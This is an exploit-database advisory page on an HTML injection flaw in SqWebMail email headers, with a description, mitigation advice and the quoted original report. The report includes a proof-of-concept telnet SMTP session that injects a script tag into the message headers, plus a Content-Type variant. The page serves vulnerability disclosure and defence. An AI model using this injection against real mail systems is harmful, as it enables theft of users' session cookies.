SqWebMail Email Header HTML Injection Vulnerability

vendor:

SqWebMail

by:

Unknown

5.5

CVSS

MEDIUM

HTML Injection

CWE

Product Name: SqWebMail

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

SqWebMail Email Header HTML Injection Vulnerability

An email header HTML injection vulnerability exists in SqWebMail due to improper sanitization of user-supplied email header strings. This allows an attacker to inject malicious HTML and script code into email headers, potentially leading to the exploitation of an unsuspecting user's cookie-based authentication credentials.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user-supplied input to prevent the injection of malicious HTML and script code. Additionally, users should exercise caution when viewing email messages from unknown or untrusted sources.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10588/info

SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.

The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header. 

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.

1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).